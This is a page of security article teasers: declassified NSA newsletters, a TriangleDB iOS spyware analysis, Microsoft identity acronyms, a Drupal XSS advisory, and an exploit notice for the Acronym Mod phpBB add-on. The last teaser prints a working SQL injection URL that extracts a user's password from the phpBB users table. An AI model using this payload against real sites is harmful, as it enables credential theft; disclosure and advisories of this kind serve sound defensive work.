Declassified NSA Newsletters

Through a 2010 FOIA request yes, it took that long, we have copies of the NSAs KRYPTOS Society Newsletter, "Tales of the Krypt," from 1994 to 2003. There are many interesting things in the 800 pages of newsletter. There are many redactions. And a 1994 review of Applied Cryptography by redacted:...

Dissecting TriangleDB, a Triangulation spyware implant

Over the years, there have been multiple cases when iOS devices were infected with targeted spyware such as Pegasus, Predator, Reign and others. Often, the process of infecting a device involves launching a chain of different exploits, e.g. for escaping the iMessage sandbox while processing a...

Microsoft identity acronyms—what do they mean and how do they relate to each other?

As a security advisor working with one to three Chief Information Security Officers CISOs each week, the topic of identity comes up often. These are smart people who have often been in industry for decades. They have their own vocabulary of acronyms that only security professionals know such as...

Beyond the buzzwords

When I was a kid, Gilligan’s Island reruns aired endlessly on TV. The character of the Professor was supposed to sound smart, so he’d use complex words to describe simple concepts. Instead of saying, “I’m nearsighted” he’d say, “My eyes are ametropic and completely refractable.” Sure, it was funn...

SA-CONTRIB-2012-164 - Smiley module and Smileys module - Cross Site Scripting (XSS)

These modules enable you to substitutes text emoticons, like :-, with images. These modules don't sufficiently sanitize user defined smiley acronyms before displaying smiley images. This vulnerability is mitigated by the fact that an attacker must have a role with the permission "administer...

Acronym Mod v0.9.5 Remote SQL Injection Vulnerability

Acronym Mod v0.9.5 Remote SQL Injection Vulnerability Download: http://www.codemonkeyx.net Found By: the master exploit: http://Target/Path/admin/adminacronyms.php?mode=edit&id=-120UNION20SELECT20null,userpassword,null20FROM20phpbbusers20where20userid=2&sid=AdminHash Greetz: str0ke , Dr Max Virus...